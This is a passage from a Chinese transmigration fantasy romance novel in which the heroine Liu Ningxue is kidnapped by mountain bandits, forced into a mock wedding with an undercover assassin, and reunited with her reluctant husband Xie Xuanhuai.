说完,他小心翼翼地看了眼李慕言的神色,见他神色如常,又继续道:“谢世子出了医馆就和柳姑娘分开了,柳姑娘在去找他的时候被拐走的。”
“公子,可要我……”
李慕言抬手打断他的话,道:“不必。”
话落,他端着茶站起来走到廊下,看着满庭春色,淡声道:“我亲自去。”
李慕言又问道:“星引阵如何了?”
渡青道:“已经尽数亮了。”
星引阵亮,说明献复灵血之人是异世之人,柳凝雪就是他们要找的异世之人,之前一直没对她下手,不过就是在等星引阵的结果,可惜这个阵是李慕言自己照古籍布的,难免会有不足,所以才会等这么久。
不过现在结果已经出来了。
李慕言唇边扬起淡淡的笑,平静道:“异世之人,且身怀复灵血,与古籍上记载的一模一样,只要我与她成亲,再灵修,届时便会功力大增,这天下之主的位置就该换换了。”
——
周围场景一片漆黑,伸手不见五指,柳凝雪被人扛到这里丢下,然后被摘下了麻袋,那大胡子男人道:“给老子好好在这里待着!”
柳凝雪心里,她这样一个手无缚鸡之力的女子哪里打得过他们,不用说她都不会乱动。
警告过后,男子出去了,黑暗之中,柳凝雪清楚地听到铁门被锁上的声音,她往旁边摸去,不过一会儿就摸到了一根铁柱。
“铁笼?”柳凝雪不解地皱起眉,干嘛用铁笼关她啊?这样一来,她和牲口有什么区别?
柳凝雪气得砸了一下笼子,随后她从衣袖里取出一张符纸,念了个火咒,符纸上瞬间燃起一团明亮的火焰来。
她借着火光打量着周围,发现她的旁边还有一个笼子。
里面同样关押着一位少女,“喂。”
柳凝雪叫了她一声,曲膝埋头的少女听到声音后抬起头来看她,说道:“做什么?”
她的语气软绵绵的,加上她呆萌迷茫的表情,柳凝雪不禁对她升起几分好感,她问她:“你是怎么被抓进来的?”
少女双手撑着下颌,一脸苦恼道:“他们太狡猾了,怪我没早发现,不然也不会被他们抓住。”
“你呢?”她问。
柳凝雪低眉垂眼道:“我也是这样的,谁知道他们这么不讲武德。”
柳凝雪往后一坐,靠在铁柱上,忍不住唉声叹气,这下谁还能来救自己啊?
谢玄淮还老爱乱跑,跑来跑去的,哪里找得到机会攻略啊?
要不不攻略了?像上次哪样?
这个念头刚出来就被柳凝雪否定了,那个任务差点要了谢玄淮的命,再来一次的话,保不齐又会出现什么牛马鬼蛇神。
在笼子里呆坐一会后,之前的两位黑胡男子去而复返,他们看了眼柳凝雪,然后指挥着身后的几位山匪去抬柳凝雪所在的铁笼。
铁笼极重,他们好几个人合力才抬起来,柳凝雪坐在里面摇摇晃晃的,问他们:“你要带我去哪啊?”
黑胡子男的呵斥她道:“安静点!”
铁笼被他们一直抬到牢房外,在黑暗待久了突然见到天光,柳凝雪被阳光刺得闭上了眼睛,好一阵才缓过来。
刚抬出洞门没多久,柳凝雪又被抬进了另一个烛火耀眼的山洞里。
这个山洞与另一个山洞一明一暗,形成鲜明对比,柳凝雪牢牢抓着铁柱,稳住身形,她细细观察了一下周边,这里匪徒众多,他们聚在一起喝酒划拳,喝得热火朝天。
铁笼被抬放到人群中间,柳凝雪往上看去,便见上首坐着三个男子,其中有一位穿得斯斯文文的,面目清秀,手中拿着一把扇子,俨然是骗她的那位公子!
有匪徒拿着酒碗过去,对他说:“二哥,来喝!”
那位被称二哥的男子用扇子把酒碗推开了,道:“不喝。”
匪徒被拒,面子挂不住,怏怏不乐地离去了。
柳凝雪恨恨地盯着他,他也看着柳凝雪,在看到她时,他脸上扬起了一抹笑意,起身上前道:“姑娘,幸会。”
柳凝雪呵呵冷笑两声,道:“我怎么进来的,你自己清楚。”
公子道:“欸,姑娘此话差矣,我不过是请姑娘来这山中坐坐而已。”
柳凝雪懒得再和她掰扯,索性转过头不和他说话
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了。
公子也不恼,他跟着走到她眼前,微弯下腰,笑容和煦地看着她问:“你叫什么名字?”
柳凝雪见他看着自己笑,心里就升起一股无名怒火,恨不得现在就冲出去挠花他的脸。
她冷笑道:“你知道我的名字对我有什么好处?”
他很干脆地回答:“没有。”
柳凝雪又转过头不再说话了,他似是觉得无趣,也没再和她说话,回到座位上坐着。
待他们喝得差不多时,有匪徒凑到首领跟前说:“老大,这次新抓来的两个妮子,细皮嫩肉的,肯定能卖个好价钱!”
首领喝得酩酊大醉,脸色发红,神情迷糊地说:“那当然了,这还得多亏了我们二弟啊!”
说着看向那位公子,公子回以一笑,随即端着碗喝了一口酒,但在他们转过身去的时候,他将口里的酒全吐了。
这一幕自然也被一直盯着他的柳凝雪尽数收进眼底,被她知道了,他也不慌,将食指置在唇前,对她做了个噤声的动作。
柳凝雪眼睛微微瞪大,心中震惊不已,可就算如此,她对他的警惕也没有减少半分。
气氛喝到高潮时,匪徒首领忽然道:“咳咳,今天让大家聚集在这里,是想跟大家聊一件事。”
这话一出,其他人的目光都聚集到了首领身上,首领继续道:“反正这两娘们都要卖出去了,不如趁现在有机会咱们都爽一番!只要咱们都不说,一样还能卖出去!”
说完,众人一时都闹哄起来,一致赞同这个决定不错,有的甚至已经开始脱光上身了。
柳凝雪恨恨地盯着他们,藏在袖下的手中不知何时握了一枚碎瓷片,只要他们敢碰她,她就割了自己的手臂放血,这种山荒野岭,她的血肯定能引来不少野鬼。
她会术法,尚有自保能力,等招了鬼来将他们撕碎,届时再趁机逃走。
“慢着。”
哄吵的人堆中突然响起一道清亮的声音道:“大哥,我有个请求。”
众人顿时安静了下来齐齐看向他,首领问道:“说!只要是二弟想要的,我虎大都给!”
那公子道:“有大哥这句话,小弟心里就安稳了,你看二弟我这么多年了都没娶个妻,不如将这个姑娘许给我当压寨夫人如何?”
话刚说完,其他人还没反应过来,柳凝雪就极致反对,喊道:“去你爹的压寨夫人!!!谁要当你的压寨夫人?!!”
众人忽视柳凝雪的喊叫,看回那位公子,虎大脸上明显有些犹豫,若是将她给了他,那他们岂不是亏了?
公子明显看出了他的犹豫,笑道:“自然,我也不会白要,这些是我近年来的攒下来的,这下全拿出来分给弟兄们,如何?”
说着,他就将一个大麻袋放到桌子上摊开,里面全是真金白银,其他人看得眼都直了。
柳凝雪不经意间扫过桌上的东西,猛地发现上面的东西极其眼熟,她下意识地摸摸头上和手臂,全都空空如也!
“那是我的簪子和镯子!!!”柳凝雪抓着铁柱不停地摇晃着,发出强烈的控诉,可惜这里没有一个人听她的。
“把我的东西还给我!狗东西,我和你势不两立!!!”
柳凝雪边喊边咬牙切齿地看着向自己走近的人,他若无其事的在她面前蹲下,笑说道:“虽然你不肯告诉我你的名字,但我的名字叫封余休,知道我的名字的人可不多,你是第二个。”
42. 出去
柳凝雪一口银牙都要咬碎了,谁要记他的名字啊?
控诉无果,柳凝雪还是被绑进房间里等着和他成亲,这个房间其实就个山洞,放张床,放张桌子就成了房间。
柳凝雪手脚都被绑住了丢在床上,他们嫌她吵还堵住了她的嘴,外面锣鼓喧天,已经开始操办他们所谓的婚事了。
柳凝雪渐渐安静下来,她从袖下取出那枚被她藏好的碎瓷,对准了绳子开始慢慢的切割。
正动作着,洞外忽然走进一人,他面上带笑向她走近,胸前挂着个大红球花,倒真扮得跟个新郎官一样,他手上还拿着一块红布,看形状应该是个盖头。
他每向自己走近一步,柳凝雪手中的动作就快半分,直至他站在自己面前,她才不甘地停下,眼睛恨恨地瞪着他。
封余休走上前,伸手去拿开堵住她嘴的东西,笑说道:“今日可是你我的大喜日子,丧着张脸可不好哦。”
“我呸!”柳凝雪一脸不悦地看着他,道:“谁要和你成亲?!你到底有什么目的?看你样子也不像是真想和我成亲。”
“聪明。”封余休淡声说,紧接着他的手越过柳凝雪伸到她的背后,硬把她手中的碎瓷给抢过来了。
他道:“我只想让姑娘配合做一件事,姑娘就不要想着逃了,没有我,你是逃不掉的。”
柳凝雪道:“你凭什么就这么肯定?”
封余休面不改色道:“因为我会帮着他们抓你。”
柳凝雪:“……”
封余休将那枚带血的碎瓷片搁置到桌上,随后把带过来的红盖头盖到了柳凝雪头上,说道:“婚礼简陋,只能委屈一下姑娘了。”
柳凝雪冷笑两声,“呵呵。”
很快,柳凝雪就被两个匪徒抓着出去拜堂,他们按着她的头迫使她往下拜,旁边有人粗着嗓子喊:“一拜天地……”
柳凝雪暗感耻辱,她这样子岂不是很对不起谢玄淮?可这又是没办法的事,如果可以,她也不想和这莫名其妙的人成亲。
*
春日夜风寒凉,悬月皎洁高挂夜空,谢玄淮行在无人的小道上,突然没来由地打了个喷嚏,他抬手摸了摸鼻尖,心里疑惑今晚的风也没有很冷啊。
他看了看远处,如今天色已晚,山上多有不测,还是找个落脚点为好,想罢,他抽出一张符纸,咬破自己的指尖在上面画符。
不一会儿一张血符就画成了,他往前方一抛,随即符纸便变成了一个影卫,他单膝跪地等候着主子的发令。
谢玄淮道:“去前面探查一下有没有落脚的地方。”
影卫领命离去,过了一阵才回来,道:“世子,前方有一座山寨。”
“山寨?”谢玄淮思索了一番,山上建了山寨的地方,多是匪徒聚集之地。
他抬头看了眼厚重的乌云,道:“走,去山寨里看看。”
山寨里仪式进行得热火朝天,难得碰上一个好日子,封余休还把血珍藏多年的女儿红给拿了出来分享给大家。
空气中顿时飘荡着一股浓烈的酒味,柳凝雪被这酒味刺得抬袖掩住口鼻,可嗅着嗅着,她忽然发现不对劲来,这些酒味中还夹杂着一丝血腥味。
还没等她去分辨自己是不是闻错了,肩上就搭了一人的手,封余休凑在自己耳边道:“姑娘,先委屈一下你了。”
柳凝雪还没反应过来是什么意思,就感到一阵天旋地转,她被封余休带着左躲右躲,在大刀横过来时,他又精准地把她拉开。
刚刚还洋溢着喜庆气氛的山洞瞬间变得惨叫连连,耳边全是刀剑相接发出的刺耳声。
打斗中,柳凝雪还隐约听到一些山匪的痛呼,道:“叶成!!我和兄弟们自问待你不薄,你为什么要这么对我们?!”
那道声音一改以往的和缓,变得冰冷,道:“不为什么,要怪就怪有人要你们的命,没办法,只怪他们开价太高了。”
那些匪徒的声音这才听到惊恐,说:“他们给你多少钱,我……我双倍给你!”
接着就是刀刺破皮肉的声音传来,他的声音也在此刻响起,道:“抱歉,我从不失信于人。”
剩下的匪徒逃得逃,散得散,可惜他们方才喝了封余休下过药的女儿红,现在药效发作,他们手脚发软,根本逃不到哪去。
柳凝雪被他安置到椅子上坐着,他对她说:“姑娘,先委屈你了。”
话落,他就离去了,柳凝雪急得在原地直喊:“喂!喂!”
先给我松绑啊!
柳凝雪叫唤无果,她安静下来,周围听不到一点异动,仿佛天地间只有她一个人了。
鼻腔里混杂着酒和血腥的味道,难闻至极,柳凝雪低着头只能枯坐着等人回来。
就在她坐得久到怀疑自己是不是被人忘记的时候,一抹青色衣角映入她的眼帘,她顿时心中一喜,终于有人发现自己了!
来人身长玉立,姿容不染纤尘,他修长玉白的五指伸出拿住柳凝雪的盖头,轻慢地将它掀起。
随着盖头被掀开,柳凝雪刚露出的欣喜的笑容,此刻凝固在了脸上。
李慕言微微笑着,对她说:“好久不见,柳姑娘。”
柳凝雪心中顷刻间被激起一阵崩溃的爆鸣声,我靠!是李慕言!!!
刚出虎穴又入狼窝,天爷!她的命怎么就这么惨啊?!
“柳姑娘?”见她呆滞住了,李慕言不禁疑惑地道了句。
柳凝雪呵呵笑了两声,笑意僵在了脸上,说:“真是……太不巧了。”
他似是注意到她双手被绑住了,往前走近了一步,正当柳凝雪以为他要给自己松绑时,他的手却搭在了她的肩上,轻声对她说:“柳姑娘,失礼了。”
柳凝雪心中宛如一道惊雷劈下,这个动作是要抱她啊!!
她慌忙喊道:“你你你,你别碰我!”
可李慕言根本不像是会听别人意见的人,在他就要动作时,一把剑突兀地横刺过来,直逼李慕言碰她的手,长剑锋利似要将他的手割断。
李慕言反应极快,在剑快要碰到他时,一个闪身后退躲开了。
封余休将剑收起,站到她面前,对李慕言笑说道:“抱歉,这位姑娘似乎不太想和你走呢。”
李慕言对突然出现的不速之客感到微微不悦,他眉头轻蹙起看着他,说:“不想死的话,就滚远点。”
封余休面上的笑意收起,道:“这句话该我对你说。”
两人气氛剑拔弩张,气势强硬,谁也不让谁,柳凝雪好歹视线清明了,只等他们打起来的时候,自己趁乱逃跑。
这种情况下,她谁也不想跟着走。
即便如此,封余休还有心情回头,笑着对她说:“原来你姓柳吗?柳姑娘请
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放心,我会替你解决眼前这个麻烦的,请你务必在原地等我哦。”
柳凝雪就这么沉默地看着他,也不点头,也不摇头,心里想道,谁傻才会乖乖坐在这里等你。
封余休转了下手中的剑,首先发难,长剑所横过之处,凌厉的剑风扫倒旁的一切东西,李慕言虽手无利剑,但攻势却始终没有处于下风,两人一时打得不可开交,从里到外,所到之处,没有东西能幸免于难。
柳凝雪趁着两人打架,正要逃跑,可她刚站起身,就不知道从哪里伸出一只手将她按了回去。
如此反复几次后,柳凝雪还没有放弃,最后终于逃脱这个山洞。
她的双手被反绑在身后,两条腿拼了命地跑出这里,她只恨自己没有生出四条腿。
等她跑出山洞时,还没来得及庆幸,一旁的暗处中突然伸出来一只手,将她往旁一拽,柳凝雪被拽得身形不稳,朝小山洞里倒去。
那人似乎预料到她会叫,便快一步捂住了她的嘴巴,抓她的人手劲极大,无论柳凝雪怎么挣扎也挣开不了。
柳凝雪彻底认命了,她可能注定逃不出这个匪窝。
这时,她身后忽然传来一道软绵的声音,道:“姑娘,你没事吧?”
听到声音的那一刻,柳凝雪暗沉下去的双眼“噌”的一下亮了起来,她心里高兴不已,竟然是女生!!!
她忙摇头表示自己没事,随后,她就放开了自己,顺带帮她解了绑住她的绳子。
柳凝雪压下心中的激动,转过身去问她道:“你叫什么名字?”
女子道:“我叫赵云绵。”
赵云绵?
原书中的女三?!柳凝雪脑海里顿时蹦出所有有关赵云绵的记忆,那个看似软萌社恐,实则武力值超高,以一当十的二小姐。
在书中,她在回老家四方镇的路上遇到了匪徒被拐,后来匪徒被官府所灭自己得以逃出。
可现在看来,匪徒并非为官府所灭,而是封余休凭一己之力灭了整个山寨,然后将功劳让给了官府。
柳凝雪问她,道:“是谁救你出来的?”
赵云绵摇头道:“我不知道,他自称是官府的人。”
但她出来后却并不见官府的人,反而看到一些匪徒乱窜,她解决了那些匪徒后,就找了个地方躲起来,刚躲没几分钟,她就遇到了柳凝雪。
赵云绵道:“你是和我关到笼子里的姑娘吧?”
柳凝雪有些怔怔地点了点头,道:“是啊,你怎么知道的?”
赵云绵道:“听声音。”
话落,外面同时响起了一阵骚乱,柳凝雪和赵云绵凝神听去,山洞不大,洞口被赵云绵用杂草堵住了,安全得很。
从杂草缝隙看过去,能看到李慕言和封余休并肩而立,还有举着火把上山的官兵们。
看样子,两人是被迫停下了争斗,谁也不想惹上官府,官兵们原本只当两人是无辜被卷入山中乱斗的,正打算问几句话就放他们走了,可这时,他们耳边传来懒散悠闲的一声喊,“李监长?”
问话的官兵一下子就认真专注地打量起李慕言来,李慕言的名声气度谁人不知谁人不晓?
官兵几乎是一下子就认出了李慕言,他忙让身边的人去请自家大人。
李慕言的嘴角难见地抽了抽,他转头去看罪魁祸首,不是谢玄淮是谁?
43. 好巧
李慕言面上保持着微笑,说:“谢监副。”
李慕言:“好巧,你也来了这里。”
谢玄淮道:“不算太巧,我路过。”
李慕言:“……”
那名官兵去叫了自家大人过来,州府大人一听李慕言的名号,哪里还敢耽误,忙放下手中的事情过来迎接李慕言。
“李监长,下官这备了上好的茶,上次你走得急,没来及请你品尝,这次总算有机会了,对了,李监长,你这次来也是除崇的吗?”
李慕言当然不可能说不,他现在是微服私访,擅离职守,若不是为了除崇,还要为其它什么吗?
李慕言笑道:“是的。”
“那好,李监长经常来这里除崇,可为我们这的百姓造了不少福祉,李监长不如到府上坐坐?”
州府大人是个年经人,他无意探寻李慕言来这里的真实目的,但既然被他碰到了,那就趁此机会让他来将这里的邪崇除个干净也好,省得百姓天天被这邪祟搞得不得安宁。
李慕言面上勉强挂着一抹笑意,维持着他亲和的形象,越州州府大人最为难缠,没几天半个月他是离不开越州了。
“李监长,请吧。”
李慕言道:“请。”
封余休静静地看着两人对弈,神情颇有兴趣,看来这李监长还有不少仇人。
谢玄淮扫了一眼一旁看好事的封余休,他能在这里看到李慕言也属实感到意外,既然如此,那就给他找点麻烦,过得那么顺心他看着会不爽的。
不过,李慕言一般不会随意擅离职守,这么出格的动作他只在上一次见过,那就是有关柳凝雪。
所以这次,李慕言在的话,那柳凝雪……
谢玄淮目光微抬,看向那座山寨,这里虽是越州,但也只是边缘在地带,归越州管辖,离上京还是很近的,只要骑半天马就能到。
她被拐到这里的话,倒也不是没可能。
躲在山洞里的柳凝雪见他似是在思考什么,她心里颇为犹豫,她到底要不要出去啊?
可封余休在,她又不那么想出去了,目前她还搞不懂他是怎么想的,真害怕两人又打起来。
“你想出去吗?”就在柳凝雪犹豫时,赵云绵对她说。
柳凝雪回头看她,道:“是有点,但是……又不太想。”
赵云绵以为她是不想见到外面的人,便道:“那我们等等再出去吧。”
封余休还在为柳凝雪不听话而逃走感到些微失落,他正四周张望着,企图找到一点她逃走时的蛛丝马迹,忽的,他转头看向山洞处。
小山洞离他们不远,被杂草团团封住,方才他们被官兵吸引了注意力,没仔细搜查过这里,难道她躲在里面了?
封余休觉得这个可能性极大,一个大活人怎么平白无故地消失呢?
想着,他慢步走上前,想要揭开那些杂草,谢玄淮被他的动作吸引,跟着看了过去。
眼看着杂草就要被拿开了,柳凝雪抓了一把地上的尘土,这时,一把剑柄忽然挡在了封余休手上,道:“这位公子,那边好像有人在叫你。”
封余休转头去看谢玄淮,说:“是吗?”
他半信半疑地看着他,后者回视着他,不语,态度却是极为强硬。
封余休笑说道:“好。”
封余休走后,谢玄淮在原地等了片刻,道:“出来。”
柳凝雪这才从山洞里面出来,她理了理身上的衣摆,疑惑地问他:“你怎么在这里?”
谢玄淮看着她,说:“这话不该我问你吗?”
“你不好好待在王府里,跑到这里来做什么?还搞得一身狼狈。”
柳凝雪气得嘟囔了一句,道:“那还不是因为我要跟着你,要不是有这个死任务在,谁爱理你啊?”
她话说得比较小声,谢玄淮没听太清,问她道:“你说什么?”
柳凝雪自然不可能实话实说的,她立马微笑道:“没说什么,我说谢世子你英勇神武,容颜俊郎,作为你的世子妃,我不跟着你跟着谁?况且诺大一个王府,我自己一个人待着也太无聊了吧?”
谢玄淮道:“所以,你一定要跟着我?”
柳凝雪:“……嗯。”
刚说完,一旁就传来封余休轻快的喊声,道:“柳姑娘!原来你在这!”
柳凝雪一扭头,发现他正招手向自己走来,脸上笑意洋洋,她忙躲到了谢玄淮身后去看他。
“做什么?”柳凝雪问。
谢玄淮侧眸看了眼她,倒也没有走开,就这么站在她面前,少年修长的身量刚好挡住了她的身形。
封余休眼神古怪地看了两人一眼,这个动作在他看来是何其的亲密。
让他下意识地问出那句话,说:“你们是夫妻?”
柳凝雪和谢玄淮几乎是同时否认,道:“不是。”
话说出口的那一刻,谢玄淮又沉默地看了她一眼,心里泛起一种奇异的感觉。
他不想承认他和柳凝雪是夫妻,但柳凝雪不能不承认他们成了亲。
听到回答的封余休神情越发怪异了,他又问:“那你们是……情人?”
“当然不是!”柳凝雪想都没想就否定了。
谢玄淮张了张唇,却什么也没说。
封余休眉头紧拧着,目光审视着他们,说:“那你们是什么关系?”
柳凝雪从谢玄淮身后走了出来,思考了一下,道:“……纯友谊,就是简单的朋友关系。”
其实这也不太准确,毕竟他们亲也成了,亲也亲过了,只是两人都不怎么想承认这段关系罢了,但出门在外,身份是自己给的。
谢玄淮既然没意见,那她说是什么关系那就是什么关系。
谁知,封余休突然道:“那就好,我还在想我都和柳姑娘成亲了,这突然蹦出个情人或是丈夫来,这算个什么事啊,如此一来便更好了。”
这段话就好像一颗地雷般在他们之间炸开,柳凝雪脑袋懵了一瞬,才想起要解释。
可一回头就见谢玄淮沉着一张脸看着自己,脸色黑得能滴出墨来,他冷笑一声,道:“柳凝雪,你好样的,一个已经不能满足你了,是吗?”
“不是的不是的!”柳凝雪一时慌乱无措,也不知该怎么解释才
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好,只一味地组织语言解释。
“你听我解释!事情不是这样的,是他们把我抓了压着我去成亲的,这不是出于我的本心啊!”
这话一出,谢玄淮直接转身走了,说这么多,亲不还是成了?
柳凝雪见状,连忙追了上去,喊道:“你等等我啊!事情不是你想的那样啊!”
柳凝雪追在他身后,嘴皮子解释得都要干了,偏生这时封余休还嫌不够乱,凑上来对她说:“柳姑娘,这亲也成了,酒也喝了,无论你此前过往种种如何,你都要对在下负责啊。”
柳凝雪气得瞪了他一眼,道:“要不是你强人所难,我岂会是今日这个样子?还有,你为什么要抓我们啊?做任务非要把旁人牵扯进来?”
封余休道:“这不是无可奈何吗?想要完成任务,混入敌营就要获取他们的信任,我无法只好出此下策,不过呢,我让他们抓的都是些武功不低的女子,她们有足够的能力自保。”
柳凝雪道:“那我呢?我又不会武功,凭什么捉我?”
封余休说着闭上一只眼,模样颇为轻佻,挑眉道:“这不是有我保护你嘛?”
柳凝雪简直是气笑了,也亏得封余休长得好看,不然像他这种放荡不羁的模样,指不定要被人从村头骂到村尾。
谢玄淮还在前头走着,丝毫没有慢下来的意思,柳凝雪还在想要怎么跟他解释,不解除这个误会可不好攻略。
赵云绵则一直跟在她身边,对她说:“我能跟着你们吗?护送我的府卫都没了,我自己一个人比较害怕。”
“若是你们嫌麻烦,我跟你们到镇上的时候就待在那里写信给我家人让他们来接我,绝对不会给你们添麻烦的。”
赵云绵本就一幅软糯模样,这样一来就更可怜了,这山慌野岭的,柳凝雪也实在不忍心把她一个丢在这里,万一碰到什么歹徒鬼怪就不好了。
她道:“没事,你就跟着我们吧,我们会带你回去的,对了,你家是哪里的?”
赵云绵道:“无方镇……”
柳凝雪想了想,道:“无方镇啊,那有点远,不过没关系,我会送你到家的。”
赵云绵道:“那太感谢了……”
四人一路从山上下来,在山脚处进行休憩整顿,现在夜色渐深,山路也不好走,几人停下来规划明天要走的路线。
从这里到镇上有两条路线,封余休建议走官道,虽然是远了些,但安全,而谢玄淮建议走山路,这条路最近。
两人一时争执不下,柳凝雪道:“别吵了,我们抽签!这里有四根有划痕和四根没划痕的树枝,抽到有划痕最多就走山路,反之就走官道。”
“怎么样?都没意见吧?”
三人皆无意见,柳凝雪拿着树枝挨个给人抽,最后决定走官道。
四人就谢玄淮一个抽到划痕的,封余休拿着树枝在他面前晃了几下,笑说:“那就走官道啦!”
谢玄淮面色冷若冰霜,被挑衅得心中噌地升起一股怒火,他“啪”的一下,折断了手中的树枝,转过头暗暗给封余休记上一笔。
哪里来的嬉皮笑脸的贱人。
44. 夫妻
夜深时分,周边一切安静只余柴火堆烧得噼里啪啦响,柳凝雪和赵云绵靠在一起,手里拿着根棍子在不断地翻火堆。
身边赵云绵道:“你叫什么名字?之前一直没来得及问你。”
柳凝雪道:“我叫柳凝雪。”
赵云绵立即了然,道:“是上京柳氏吗?”
柳凝雪想了想点头,其实上京柳姓的人不多,说出姓氏很容易就知道是哪家的人。
“那他岂不是就是谢世子?”赵云绵指了指一旁靠着树抱剑闭目养神的谢玄淮。
柳凝雪转头去看谢玄淮,当初他俩的事在上京闹得沸沸扬扬的,现在又看他们举止亲密,一般人都能瞧出两人身份。
柳凝雪点头道:“是的,不过我们虽然成亲了,但那也是迫不得已,我们之间并没有感情。”
赵云绵对此事深有所感,自己的堂姐和表姐就是如此,刚出阁不久就要嫁给一个自己只见过一面的男人,没有感情的婚姻,她们婚后过得也不幸福。
赵云绵道:“那你有没有想过要和离?若是感情真的合不来,是可以和离的。”
柳凝雪沉默了下来,她把和离想得太简单了,虽然现在法律法规规定妇女可以和离,但这不是妇女想和离就能和离的,和离需要她和丈夫两人的同意,若是丈夫不肯,自己照样和离不了。
何况若是丈夫是个喜欢家暴的,知道了自己的妻子动了和离的心,岂不会更加不想和离了?这样一来只会给妇女增加无限痛苦。
想要真正安稳的和离,除非男方是个人,或者女方有权有势,可普天之下,不是所有妇女都有权有势的。
柳凝雪道:“再说吧。”
她虽没有以上的困难,但以目前的情景来看她暂时还不能和离。
赵云绵却误以为她是遇到了什么困难,说道:“你若有什么需要尽管开口和我说,我能帮你的一定帮,况且天涯何处无芳草,这天下又不是只有谢世子一人,你头上那位我看不正好吗?”
柳凝雪顺着她的话抬头去看躺在树上的封余休,回想起他的性格特点,自己还真有点动心了,不为别的,封余休一看就比谢玄淮好攻略多了。
柳凝雪甚至想,自己会不会也像别的小说那样其实是系统发错任务了,她真正要攻略的人是封余休。
赵云绵见她犹豫了,便更加确定心中所想,说道:“你不用害怕,想做什么就去做。”
柳凝雪看了她一眼,心觉她思想就是胆大,而就在她沉默期间,一直闭眼的谢玄淮忽的握紧了手中的剑,听了她们的谈话,他简直恨得牙痒痒,干脆掐了一个闭音诀,耳不听心不烦。
第二日一大早,四人便动身前往镇上,他们需在天黑之前赶到镇上,谢玄淮依旧是自己走自己的,柳凝雪已经把能说的都说了,剩下的交给时间,因为时间会抹平你的伤口。
一行人走着,终于赶在天黑之前到达了镇上,镇上行人匆匆,想必是赶在天黑前回到家,几人一路寻找客栈,结果多数客栈都是满人的,好不容易找到一间空的,结果还只剩三间。
正愁着三间房怎么分的时候,他们身后忽然响起一道明亮的声音,道:“老板!我要两间房!”
几人闻声回过头去,就见林月明带着江若宁进了客栈,双方碰面,脸上都是掩饰不了的惊讶,柳凝雪说:“你们……怎么会在这里?”
林月明惊讶了一瞬,又恢复正常,道:“此事说来话长,不说了。”
话落,江若宁也凑了上来,只是他怀里还抱着一只鹅,手中拿着一把剑,模样怎么看怎么滑稽。
他一见到柳凝雪和谢玄淮就震惊不已,道:“敬王世子,世子妃?!你们怎么会出现在这里?真是好巧。”
客栈老板一看他们是认识的,便道:“只有三间上房了,你们看着分吧。”
三间房,他们六个人,几人都面面相觑着,江若宁却一时脑快,说道:“你们是夫妻就该睡在同一间房里,然后女子和女子,我和他,三间房不够了吗?”
柳凝雪:“……”
谢玄淮:“……”
林月明看了看几人,似乎也只这么分了,她道:“那就这样?”
说着,她看向赵云绵,赵云绵同柳凝雪是一起的,又一脸的羞涩样,想来不是什么难相处的。
赵云绵见她看过来,脸上微红,忙低下头木讷地点了点,说:“我……我没意见。”
柳凝雪唇瓣轻启,似想说什么,众人的目光齐齐落在她身上,她顿了一下,道:“……我也没意见……”
于是,几人便了门牌号上去找房间,三间房只有两间相隔的,不巧的是,柳凝雪和谢玄淮的那间就是不相隔的。
他们在走廊的另一头,进了屋后,柳凝雪将买来的东西放置在一边,身上的衣服都穿了两天了,是该换一下了。
晚上,柳凝雪用完膳便去沐浴了,谢玄淮早已洗完澡,等她出来时,便见谢玄淮躺在床上。
他侧眸看了她一眼,道:“我睡床。”
那当然是不行的,柳凝雪也不习惯睡地板,她说:“不行!我也要睡床。”
“你喜欢你去睡地板。”
谢玄淮听完也不挪身,他双臂枕在脑后,就这么躺在床上,一幅你奈我何的样子。
柳凝雪自然不可能遂了他的愿睡地上,她看着躺在床上的谢玄淮,眼睛一闭,一咬牙,向床榻边走了过去。
反正都亲过了,睡一起也不会掉块肉,左右他们也是夫妻,睡一起很正常。
柳凝雪想着便爬上了床榻,谢玄淮睡在外面,她得跨过去,刚跨过去一只脚,已经闭眼的谢玄淮听到响动睁开眼睛,他没料到柳凝雪会这么做。
他并不习惯和人一起睡,是以,他脑子一热,伸手抓住了她还踩在外面的脚的脚踝,接着往下一拖,他本意是想将柳凝雪拽到地上的,可没想到这么一拉,柳凝雪直接被他拽得身形不稳,一个跨坐坐到了他身上。
两人俱是一愣,谢玄淮万没料到事情会发展成这样,还没等他反应过来,他脸上就挨了柳凝雪一巴掌,“啪”的一下,耳边全是清脆响亮的巴掌声,他原本皙白的面庞顿时显出了一个
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鲜红的五指印。
他听到柳凝雪咬牙骂他:“死变态!”
谢玄淮被她打得脑子空白了一瞬,当即脱口而出一句,“是你自己先上来的。”
“你还有脸说?!”柳凝雪气得坐了起来,道:“要不是你占着床不放,我会这样子?反正我是不会睡地板的,你要是受不了和我睡,那你去睡地板。“
“你!”谢玄淮也被说得坐了起来,两人四目相对,柳凝雪只穿着里衣,长发散落至胸前,是他从未见过的模样,这让他竟一时忘了要说什么。
他目光鲜明刺人,少年眼中那一瞬溢出的情欲不假,柳凝雪怔了一下,可还没等她搞清楚情况,他又躺了回来,翻身侧对着她。
柳凝雪见状也无心去探究其他,也跟着翻身躺了下来。
*
另一边的房间里,江若宁早早便洗好了澡,他把大鹅安置好后,等着封余休进去沐浴的时间,噌的一下飞上了床,今晚谁都别想让他离开床榻。
封余休从浴间出来的时候就见到床上卷着一个蚕蛹,他光着上半身擦头,有些好笑地看着他。
江若宁等了好一会儿,身后也没传来动静,索性闭上眼睛睡觉了。
直到听到床上的人传来平稳的呼吸声后,封余休不知从哪取出一支香就着烛火点上,随后换上了夜行衣。
江若宁闻着香沉沉地睡去,并不知同房的人早已翻窗走了。
夜色沉寂清冷,封余休从客栈出来后,直奔不远处的酒肆,此时已是夜深,街道上除了几个醉鬼外再无旁人。
他来酒肆,拐角走进小巷中,此时早有一人在那等候许久,见到他来后,便将手中的荷包递给他,道:“此次任务完成的不错,这是报酬。”
封余休接过荷包掂量了几下,分量不轻,倒也值,那人接着道:“这次又有一个任务,来人出价极高,你要接吗?”
封余休看了那人一眼,问道:“什么任务?”
那人说着递给他一张纸,道:“叶安,来人指名道姓要你,你若不接,我就帮你推了。”
封余休看了眼纸上的任务,叶安是他接任务时的化名,这些年接过大大小小的任务也打响了叶安这个名号,很多人都愿意出重金雇佣他。
“四方镇?”看到这个名字的时候,封余休毫不犹豫道:“接了。”
那人点了点头,随即离去。
封余休接着去上面的任务,这个任务对别人来说可能很是艰难,但对他来说却是轻而易举,看完后,他将纸张折起放到腰间。
刚想走,忽然察觉身后的异动,他脸色一沉,说:“出来。”
躲在暗处的侍卫犹豫了一下还是选择现身,“少主。”
封余休冷声道:“滚!以后别跟着我。”
侍卫说:“少主何必过这种刀尖舔血的生活呢,只要你回到府中,少主想要什么没有?”
封余休道:“我凭自己能力赚的钱有什么不好的?你回去告诉她,我是不会回去的,让她不要再来烦我。”
侍卫沉默一阵,行礼后离去。
